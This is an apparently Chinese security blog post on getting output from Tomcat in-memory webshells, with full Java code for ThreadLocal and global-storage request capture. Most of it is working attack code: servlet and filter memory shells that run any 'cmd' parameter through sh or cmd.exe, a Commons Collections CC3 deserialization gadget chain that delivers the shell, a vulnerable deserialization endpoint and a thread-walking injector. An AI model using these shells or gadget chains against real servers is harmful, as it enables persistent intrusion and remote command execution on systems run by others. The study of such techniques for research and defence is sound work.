• Tomcat内存马回显


    回顾JSP马

    详情见:https://www.cnblogs.com/F12-blog/p/18111253
    之前说的都是利用 jsp 注入内存马,但 Web 服务器中的 jsp 编译器还是会编译生成对应的 java 文件然后进行编译加载并进行实例化,所以还是会落地。
    但如果直接注入,比如利用反序列化漏洞进行注入,由于 request 和 response 是 jsp 的内置对象,在回显问题上不用考虑,但如果不用 jsp 文件,就需要考虑如何回显的问题。
    其实主要要解决的问题就是如何获取 request 和 response 对象。
    目前主流的回显技术(部分)主要有:

    • linux 下通过文件描述符,获取 Stream 对象,对当前网络连接进行读写操作。
      限制:必须是 linux,并且在取文件描述符的过程中有可能会受到其他连接信息的干扰
    • 通过ThreadLocal Response回显,基于调用栈获取中获取 response 对象(ApplicationFilterChain中)
      限制:如果漏洞在 ApplicationFilterChain 获取回显 response 代码之前,那么就无法获取到Tomcat Response进行回显。
    • 通过全局存储 Response回显,寻找在Tomcat处理 Filter 和 Servlet 之前有没有存储 response 变量的对象
      限制:会导致http包超长,但相对比较通用。

    ThreadLocal Response 回显

    什么是ThreadLocal

    ThreadLocal的作用就是:线程安全。 ThreadLocal的本质就是一个内部的静态的map,key是当前线程的句柄,value是需要保持的值。 由于是内部静态map,不提供遍历和查询的接口,每个线程只能获取自己线程的value。 这样,就线程安全了,又提供了数据共享的能力。
    举个例子

    package org.example;
    
    
    import java.util.concurrent.TimeUnit;
    
    public class NumUtil {
        public static int addNum = 0;
        public static int add10(int num) throws InterruptedException {
            addNum = num;
            try {
                TimeUnit.SECONDS.sleep(1);
            } catch (InterruptedException e){
                e.printStackTrace();
            }
            return addNum + 10;
        }
    }
    
    package org.example;
    
    import java.util.concurrent.ExecutorService;
    import java.util.concurrent.Executors;
    
    public class threadDemo {
        public static void main(String[] args) {
            ExecutorService executorService = Executors.newFixedThreadPool(20);
            for(int i=0;i<20;i++){
                int num = i;
                executorService.execute(()->{
                    try {
                        System.out.println(num+":"+NumUtil.add10(num));
                    } catch (InterruptedException e) {
                        throw new RuntimeException(e);
                    }
                });
            }
            executorService.shutdown();
        }
    }
    // 输出
    629
    1129
    1329
    1429
    029
    329
    1229
    1529
    1729
    1829
    729
    1629
    229
    129
    929
    1029
    1929
    829
    429
    529
    

    一个利用线程来进行对addNum加数的操作,这结果是不是看着怪怪的,全是29。
    这里其实可以结合条件竞争来理解,在多线程的情况下,比如线程1中for循环到数字9,由于不同线程之间变量没有隔离,这时候线程2执行到了addn10方法中,就接替了线程1的工作,进行+10,但是线程2中for循环只到了2。因此会输出2:29这样的数字,其他结果也是同样的道理
    解决方法有很多,其中一种就是运用ThreadLocal创建独立的线程变量域:
    将之前的工具类改为:

    public class NumUtil {
    
        private static ThreadLocal addNumThreadLocal = new ThreadLocal<>();
    
        public static int add10(int num) {
            addNumThreadLocal.set(num);
            try {
                TimeUnit.SECONDS.sleep(1);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            return addNumThreadLocal.get() + 10;
        }
    }
    
    package org.example;
    
    import java.util.concurrent.ExecutorService;
    import java.util.concurrent.Executors;
    
    public class threadDemo {
        public static void main(String[] args) {
            ExecutorService executorService = Executors.newFixedThreadPool(20);
            for(int i=0;i<20;i++){
                int num = i;
                executorService.execute(()->{
                    System.out.println(num+":"+NumUtil.add10(num));
                });
            }
            executorService.shutdown();
        }
    }
    // 输出
    414
    1626
    1020
    1828
    1727
    1121
    919
    212
    313
    818
    1525
    616
    717
    010
    111
    1323
    1222
    1424
    1929
    515
    

    这回就正常了,在这之中我们创建了ThreadLocal,之前也说了本质就是一个用于存放当前进程变量的map,ThreadLocalMap是其内部类,调用了它的set和get方法用于储存和取出变量

    ApplicationFilterChain#internalDoFilter

    启一个springboot服务(3.0.2),简单的写个servlet,然后打个断点访问就能看到调用栈了

    可以看到重复调用了internalDoFilter,我们通过观察ApplicationFilterChain这个类可以发现,他内置了两个变量lastServicedRequestlastServicedResponse,分别都是ThreadLocal类型:

    internalDoFilter方法中对这两个属性进行了赋值,不过得满足上方的if条件,这里的request和response就是我们目标对象,这里dispatcherWrapsSameObject默认就是false,我们可以通过反射修改,第一次访问URL,对dispatcherWrapsSameObject进行修改,第二次访问URL就能获取request和response

    Springboot版本问题

    springboot2和springboot3,它们的if条件不同
    springboot2:

    springboot3:

    反射修改static final属性

    在SpringBoot2中ApplicationDispatcher.WRAP_SAME_OBJECT的类型是一个private static final类型的属性,这种属性由于一些原因无法被反射直接修改,我们可以通过反射去除final修饰符的方式达到修改的目的

    modifiers实际就是一个int类型的26,并且每个修饰符都有一个int的值,比如private是2,static是8,final是16那么我们只需要把目标属性的modifiers属性减去16,就相当于去除了final属性,图中取反然后按位与操作就是实现减16

    JDK版本问题

    在JDK12+之后,我们就不能通过上述方法移除final修饰符了,会报错NoSuchFiled:modifiers
    所以这里并不研究jdk12以后的回显问题,所以在这里将SpringBoot降到了2.6版本,JDK降到了11

    初步构造回显

    package com.example.springboot2.controller;
    
    import org.apache.catalina.core.ApplicationFilterChain;
    import org.springframework.stereotype.Controller;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.ResponseBody;
    
    import javax.servlet.ServletContext;
    import javax.servlet.ServletRequest;
    import javax.servlet.ServletResponse;
    import java.lang.reflect.Field;
    import java.lang.reflect.Modifier;
    
    @Controller
    public class echoshell {
        @RequestMapping("/normal")
        @ResponseBody
        public String hello() throws IllegalAccessException, NoSuchFieldException, ClassNotFoundException {
            //反射获取3个属性
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            //去除final修饰符
            Field modifiersField = Field.class.getDeclaredField("modifiers");
            //设置private可访问可修改
            modifiersField.setAccessible(true);
            WRAP_SAME_OBJECT_FIELD.setAccessible(true);
            lastServicedRequestField.setAccessible(true);
            lastServicedResponseField.setAccessible(true);
            modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
            //反射修改lastServiceresponse和lastservicerequest属性的值
            ThreadLocal lastServicedResponse = (ThreadLocal) lastServicedResponseField.get(null);
            ThreadLocal lastServicedRequest = (ThreadLocal) lastServicedRequestField.get(null);
            //修改WRAP_SAME_OBJECT_FIELD值为true,进入request判断
            boolean wrap_same_object_fieldBoolean = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
            //第一次进入时为false和null
            if (!wrap_same_object_fieldBoolean || lastServicedResponse == null || lastServicedRequest == null) {
                System.out.println("in");
                lastServicedRequestField.set(null, new ThreadLocal<>());
                lastServicedResponseField.set(null, new ThreadLocal<>());
                WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
            }
            //第二次进入时就进入了if赋值为了request和response,因此进入else
            else {
                String name = "xxx";
                //从req中获取ServletContext对象
                // 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
                ServletRequest servletRequest = lastServicedRequest.get();
                ServletContext servletContext = servletRequest.getServletContext();
                System.out.println(servletContext);
                System.out.println(servletRequest);
    
            }
            return "nothing";
        }
    }
    

    访问两次成功获取ServletContextrequest

    反序列化注入Servlet内存马

    准备一个CC3的环境的springboot2,写一个反序列化入口

    package com.example.springboot2.controller;
    import org.springframework.stereotype.Controller;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.ResponseBody;
    
    import javax.servlet.http.HttpServletRequest;
    import java.io.ByteArrayInputStream;
    import java.io.IOException;
    import java.io.ObjectInputStream;
    import java.util.Base64;
    
    @Controller
    public class echoshell {
        @RequestMapping("/normal")
        @ResponseBody
        public void hello(HttpServletRequest request) throws IOException {
            System.out.println("in");
            byte[] data = Base64.getDecoder().decode(request.getParameter("data"));
            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            try{
                System.out.println(objectInputStream.readObject());
            } catch (ClassNotFoundException e){
                e.printStackTrace();
            }
        }
    }
    

    准备内存马:

    package com.example.springboot2.controller;
    
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import org.apache.catalina.Wrapper;
    import org.apache.catalina.core.StandardContext;
    
    import javax.servlet.*;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.PrintWriter;
    import java.lang.reflect.Field;
    import java.lang.reflect.Modifier;
    import java.util.Scanner;
    
    public class shellcode extends AbstractTranslet implements Servlet{
    
        static {
            try {
                Class clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
                Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
                Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
                Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
                Field modifiers = Field.class.getDeclaredField("modifiers");
                modifiers.setAccessible(true);
                // 去掉final修饰符,设置访问权限
                modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
                modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
                modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
                WRAP_SAME_OBJECT.setAccessible(true);
                lastServicedRequest.setAccessible(true);
                lastServicedResponse.setAccessible(true);
                // 修改 WRAP_SAME_OBJECT 并且初始化 lastServicedRequest 和 lastServicedResponse
                if (!WRAP_SAME_OBJECT.getBoolean(null)) {
                    WRAP_SAME_OBJECT.setBoolean(null, true);
                    lastServicedRequest.set(null, new ThreadLocal());
                    lastServicedResponse.set(null, new ThreadLocal());
                } else {
                    String name = "xxx";
                    //从req中获取ServletContext对象
                    // 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
                    ThreadLocal threadLocalReq = (ThreadLocal) lastServicedRequest.get(null);
                    ThreadLocal threadLocalResp = (ThreadLocal) lastServicedResponse.get(null);
                    ServletRequest servletRequest = threadLocalReq.get();
                    ServletResponse servletResponse = threadLocalResp.get();
    
                    ServletContext servletContext = servletRequest.getServletContext();
    
    
                    if (servletContext.getServletRegistration(name) == null) {
                        StandardContext o = null;
    
                        // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                        while (o == null) {
                            Field f = servletContext.getClass().getDeclaredField("context");
                            f.setAccessible(true);
                            Object object = f.get(servletContext);
    
                            if (object instanceof ServletContext) {
                                servletContext = (ServletContext) object;
                            } else if (object instanceof StandardContext) {
                                o = (StandardContext) object;
                            }
                        }
    
                        //自定义servlet
                        Servlet servlet = new shellcode();
    
                        //用Wrapper封装servlet
                        Wrapper newWrapper = o.createWrapper();
                        newWrapper.setName(name);
                        newWrapper.setLoadOnStartup(1);
                        newWrapper.setServlet(servlet);
    
                        //向children中添加Wrapper
                        o.addChild(newWrapper);
                        //添加servlet的映射
                        o.addServletMappingDecoded("/shell", name);
    
                    }
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
    
        }
    
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {
    
        }
    
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
    
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
    
        @Override
        public String getServletInfo() {
            return null;
        }
    
        @Override
        public void destroy() {
    
        }
    }
    

    cc3:

    package com.f12;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InstantiateTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.annotation.Target;
    import java.lang.reflect.*;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.util.Base64;
    import java.util.HashMap;
    import java.util.Map;
    
    public class CC3 {
        public static void serialize(Object obj) throws IOException {
            FileOutputStream fos = new FileOutputStream("cc3.bin");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(obj);
        }
        public static void deserialize(String filename) throws IOException, ClassNotFoundException {
            FileInputStream fis = new FileInputStream(filename);
            ObjectInputStream ois = new ObjectInputStream(fis);
            ois.readObject();
        }
        public static String encryptToBase64(String filePath) {
            if (filePath == null) {
                return null;
            }
            try {
                byte[] b = Files.readAllBytes(Paths.get(filePath));
                return Base64.getEncoder().encodeToString(b);
            } catch (IOException e) {
                e.printStackTrace();
            }
    
            return null;
        }
        public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
            TemplatesImpl templates = new TemplatesImpl();
            Field _name = TemplatesImpl.class.getDeclaredField("_name");
            _name.setAccessible(true);
            _name.set(templates, "1");
            Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
            _bytecodes.setAccessible(true);
            byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\springboot2\\target\\classes\\com\\example\\springboot2\\controller\\shellcode.class"));
            byte[][] code = {bytes};
            _bytecodes.set(templates, code);
            Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
            _tfactory.setAccessible(true);
            _tfactory.set(templates, new TransformerFactoryImpl());
    //        Transformer transformer = templates.newTransformer();
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(TrAXFilter.class),
                    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            HashMap map = new HashMap<>();
            Map decorate = LazyMap.decorate(map,  chainedTransformer);
            Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
            constructor.setAccessible(true);
            InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
            Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
            Object o = constructor.newInstance(Target.class, newMap);
            serialize(o);
            System.out.println(encryptToBase64("cc3.bin"));
    //        deserialize("cc3.bin");
    //        Map map = new HashMap<>();
    //        Map lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
    //        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
    //        HashMap hashMap = new HashMap<>();
    //        hashMap.put(tiedMapEntry, null);
    //        map.remove(null);
    //        Field factory = LazyMap.class.getDeclaredField("factory");
    //        factory.setAccessible(true);
    //        factory.set(lazymap, chainedTransformer);
    //        serialize(hashMap);
    //        deserialize("cc3.bin");
        }
    }
    

    访问两次,虽然会报错,但是能成功注入内存马

    局限性

    上述是一种半通用的方法,有一定的局限性,该方法入口类是在ApplicationFilterChain#internalDofilter方法,假如序列化触发点在这之前的话就无法注入(比如shiro),并且还有JDK和SpringBoot的版本限制

    基于Tomcat全局存储进行回显

    通杀某些版本

    流程分析

    还是起个springboot,简单写个servlet,打个断点看调用栈,定位Http11Processor,调用了getAdapter().service(request, response);,其中的request和response都来自父类AbstractProcessor

    往上找,在AbstractProtocol#ConnectionHandler中调用了register方法注册了processor,这里的processor就是上面的Http11processor
    继续跟进,在register方法中,有个RequestInfo类型的对象rp,里面封装着一个request对象,rp.setGlobalProcessor(global);将rp存入global属性中

    这个request对象是和之前Http11processor中的request对象相同的,既然把同一个request对象放到了global中,所以我们尝试寻找存储了AbstractProtocol实例的地方,由于global对象是在内部类ConnectionHandler中,如果可以获取到AbstractProtocol对象,那么就能通过反射getHandler方法来获取到内部类ConnectionHandler的实例,进而获取global:既然同一个request对象都被封装进了AbstractProtocolglobal属性当中,那现在需要做的就是如何找到储存了AbstractProtocol类的地方,只要找到了我们就可以通过反射获取,找到AbstractEndpoint其中的Handler接口:
    思路图如下:

    所以现在就是需要获取AbstractProtocol,我们继续观察调用栈,可以发现在CoyoteAdapter类中的connector属性中存放了protocolHandler对象:

    protocolHandlerAbstractProtocol的继承关系图如下:

    并且通过观察可以发现存在connector属性中的protocolHandler属性真实类型为Http11NioProtocol对象,而这刚好就是AbstractProtocol的子类,我们可以通过向上转型从而获取AbstractProtocol,然后去获取global属性,进而获取requestinfo最后获取request对象,这个Connector类是在org.apache.catalina包下的,Tomcat会最先加载这个包,所以我们到Tomcat启动过程中寻找一下Connector类的踪迹。如果熟悉Spring boot启动Tomcat服务器流程的话,可以知道在TomcatServletWebServerFactory#getWebServer方法中执行了addConnector方法,执行完之后就会把connector对象封装到StandardService对象中:

    后面的思路就是通过WebappClassLoaderBase这个线程上下文类加载器与StrandardService来产生联系,这个类加载器我们可以直接通过Thread.currentThread().getContextClassLoader()来直接获取到实例,所以整个寻找链也就完成了:

    WebappClassLoaderBase --> 
    	resources(StandardRoot) -->
    		context(StandardContext) -->
    			context(ApplicationContext) -->
    				service(StandardService) -->
    					connectors(Connector[]) -->
    						protocolHandler(ProtocolHandler) -->
    							(转型)protocolHandler(AbstractProtocol) -->
    								(内部类)hanlder(AbstractProtocol$ConnectorHandler) -->
    									global(RequestGroupInfo) -->
    										processors(ArrayList) -->
    											requestInfo(RequestInfo) -->
    												req(org.apache.coyote.Request) --getNote-->
    													request(org.apache.connector.Request) -->
    														response(org.apache.connector.Response)
    

    有一点需要注意的是,我们最后拿到的Request对象是org.apache.coyote.Request,而真正需要其实是org.apache.catalina.connector.Request对象,前者是是应用层对于请求-响应对象的底层实现,并不方便使用,通过调用其getNote方法可以得到后者

    内存马回显构造

    package com.example.springboot2.filter;
    import org.apache.catalina.Context;
    import org.apache.catalina.connector.Connector;
    import org.apache.catalina.core.ApplicationContext;
    import org.apache.catalina.core.StandardService;
    import org.apache.catalina.loader.WebappClassLoaderBase;
    import org.apache.coyote.AbstractProtocol;
    import org.apache.coyote.Request;
    import org.apache.coyote.RequestGroupInfo;
    import org.apache.coyote.RequestInfo;
    import org.apache.tomcat.util.net.AbstractEndpoint;
    import javax.servlet.*;
    import javax.servlet.annotation.WebFilter;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.PrintWriter;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    import java.util.ArrayList;
    import java.util.Scanner;
    
    @WebFilter(filterName = "testFilter", urlPatterns = "/*")
    public class Filter3 implements Filter {
        @Override
        public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain chain) throws IOException, ServletException {
            String cmd = null;
            try {
                WebappClassLoaderBase loader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
                Context context = loader.getResources().getContext();
                // 获取 ApplicationContext
                Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
                applicationContextField.setAccessible(true);
                ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(context);
                // 获取 StandardService
                Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
                serviceField.setAccessible(true);
                StandardService standardService = (StandardService) serviceField.get(applicationContext);
    
                // 获取 Connector 并筛选 HTTP Connector
                Connector[] connectors = standardService.findConnectors();
                for (Connector connector : connectors) {
                    if (connector.getScheme().contains("http")) {
                        // 获取 AbstractProtocol 对象
                        AbstractProtocol abstractProtocol = (AbstractProtocol) connector.getProtocolHandler();
    
                        // 获取 AbstractProtocol$ConnectionHandler
                        Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
                        getHandler.setAccessible(true);
                        AbstractEndpoint.Handler ConnectionHandler = (AbstractEndpoint.Handler) getHandler.invoke(abstractProtocol);
    
                        // global(RequestGroupInfo)
                        Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
                        globalField.setAccessible(true);
                        RequestGroupInfo global = (RequestGroupInfo) globalField.get(ConnectionHandler);
    
                        // processors (ArrayList)
                        Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                        processorsField.setAccessible(true);
                        ArrayList processors = (ArrayList) processorsField.get(global);
    
                        for (Object processor : processors) {
                            RequestInfo requestInfo = (RequestInfo) processor;
                            // 依据 QueryString 获取对应的 RequestInfo
                            if (requestInfo.getCurrentQueryString().contains("cmd")) {
                                Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                                reqField.setAccessible(true);
                                // org.apache.coyote.Request
                                Request requestTemp = (Request) reqField.get(requestInfo);
                                // org.apache.catalina.connector.Request
                                org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) requestTemp.getNote(1);
    
                                // 执行命令
                                cmd = request.getParameter("cmd");
                                String[] cmds = null;
                                if (cmd != null) {
                                    if (System.getProperty("os.name").toLowerCase().contains("win")) {
                                        cmds = new String[]{"cmd", "/c", cmd};
                                    } else {
                                        cmds = new String[]{"/bin/bash", "-c", cmd};
                                    }
                                    InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                                    Scanner s = new Scanner(inputStream).useDelimiter("//A");
                                    String output = s.hasNext() ? s.next() : "";
                                    PrintWriter writer = request.getResponse().getWriter();
                                    writer.write(output);
                                    writer.flush();
                                    writer.close();
    
                                    break;
                                }
                            }
                        }
                    }
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
    
            chain.doFilter(request1, response1);
        }
    }
    

    主类记得加上扫描注解

    package com.example.springboot2;
    import org.springframework.boot.SpringApplication;
    import org.springframework.boot.autoconfigure.SpringBootApplication;
    import org.springframework.boot.web.servlet.ServletComponentScan;
    
    @SpringBootApplication
    @ServletComponentScan
    public class Springboot2Application {
    
        public static void main(String[] args) {
            SpringApplication.run(Springboot2Application.class, args);
        }
    
    }
    
    

    局限性

    该方法在tomcat10以下应该是可以通杀的,因为之前用的高版本springBoot,springboot在2.6以后移除了getresources方法,所以寄

    通过遍历进程来获取Context

    package com.example.springboot2.controller;
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import org.apache.catalina.Wrapper;
    import org.apache.catalina.core.StandardContext;
    import org.apache.catalina.core.StandardEngine;
    import org.apache.catalina.core.StandardHost;
    import javax.servlet.*;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.PrintWriter;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.Iterator;
    import java.util.Scanner;
    
    public class Tomcat6789 extends AbstractTranslet implements Servlet {
        public static Object getField(Object object, String fieldName) {
            Field declaredField;
            Class clazz = object.getClass();
            while (clazz != Object.class) {
                try {
    
                    declaredField = clazz.getDeclaredField(fieldName);
                    declaredField.setAccessible(true);
                    return declaredField.get(object);
                } catch (NoSuchFieldException e){}
                catch (IllegalAccessException e){}
                clazz = clazz.getSuperclass();
            }
            return null;
        }
    
        public Tomcat6789() {
        }
    
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    
        static {
            String uri = "";
            String serverName = "";
            Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
            Object object;
            for (Thread thread : threads) {
    
                if (thread == null) {
                    continue;
                }
                if (thread.getName().contains("exec")) {
                    continue;
                }
                Object target = getField(thread, "target");
                if (!(target instanceof Runnable)) {
                    continue;
                }
    
                try {
                    object = getField(getField(getField(target, "this$0"), "handler"), "global");
                } catch (Exception e) {
                    continue;
                }
                if (object == null) {
                    continue;
                }
                java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
                Iterator iterator = processors.iterator();
                while (iterator.hasNext()) {
                    Object next = iterator.next();
    
                    Object req = getField(next, "req");
                    Object serverPort = getField(req, "serverPort");
                    if (serverPort.equals(-1)){continue;}
                    org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                    serverName = (String) getField(serverNameMB, "strValue");
                    if (serverName == null){
                        serverName = serverNameMB.toString();
                    }
                    if (serverName == null){
                        serverName = serverNameMB.getString();
                    }
    
                    org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
                    uri = (String) getField(uriMB, "strValue");
                    if (uri == null){
                        uri = uriMB.toString();
                    }
                    if (uri == null){
                        uri = uriMB.getString();
                    }
                }
            }
            Thread[] threads2 = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
            for (Thread thread : threads2) {
                if (thread == null) {
                    continue;
                }
                if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                    Object target = getField(thread, "target");
                    HashMap children;
                    Object jioEndPoint = null;
                    try {
                        jioEndPoint = getField(target, "this$0");
                    }catch (Exception e){}
                    if (jioEndPoint == null){
                        try{
                            jioEndPoint = getField(target, "endpoint");
                        }catch (Exception e){}
                    }
                    Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
                    StandardEngine engine = null;
                    try {
                        engine = (StandardEngine) getField(service, "container");
                    }catch (Exception e){}
                    if (engine == null){
                        engine = (StandardEngine) getField(service, "engine");
                    }
    
                    children = (HashMap) getField(engine, "children");
                    StandardHost standardHost = (StandardHost) children.get(serverName);
    
                    children = (HashMap) getField(standardHost, "children");
                    Iterator iterator = children.keySet().iterator();
                    while (iterator.hasNext()){
                        String contextKey = (String) iterator.next();
                        if (!(uri.startsWith(contextKey))){continue;}
                        StandardContext standardContext = (StandardContext) children.get(contextKey);
                        Servlet myServlet = new Tomcat6789();
                        Wrapper newWrapper = standardContext.createWrapper();
                        newWrapper.setName("xxx");
                        newWrapper.setLoadOnStartup(1);
                        newWrapper.setServlet(myServlet);
                        standardContext.addChild(newWrapper);
                        standardContext.addServletMappingDecoded("/shell", "xxx");
                    }
                }
            }
        }
    
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {
    
        }
    
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
    
        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            //普通回显
            PrintWriter out = res.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
    
        @Override
        public String getServletInfo() {
            return null;
        }
    
        @Override
        public void destroy() {
    
        }
    }
    

    这是在所有基于tomcat的javaweb的一种通杀方法,我们可以获取当前所有进程,总可以获取到总服务里的springboot的进程,这样进而获取其中的context,然后再注入内存马。但是似乎代码逻辑有问题,springboot2+tomcat9的环境下会报错,其它环境未尝试,待解决....

  • 相关阅读:
    南大通用数据库-Gbase-8a-学习-15-Gbase8a通过Dblink访问Gbase8a(95->86)
    任务三:LTE背景介绍
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    分布式事务中的那些事——微服务总结(二)
    Lfu缓存在Rust中的实现及源码解析
    spark导入elasticsearch
    ORA-04044:此处不允许过程、函数、程序包或类型,系统分析与解决
    xv6源码解析(四)——进程管理
    怎么样创建私服 nexus --- maven配置文件的各个标签的作用是什么
    java Spring Boot2.7写一个接口 提供图片预览 前端可以直接用接口地址当src为图片地址使用
  • 原文地址:https://www.cnblogs.com/F12-blog/p/18117540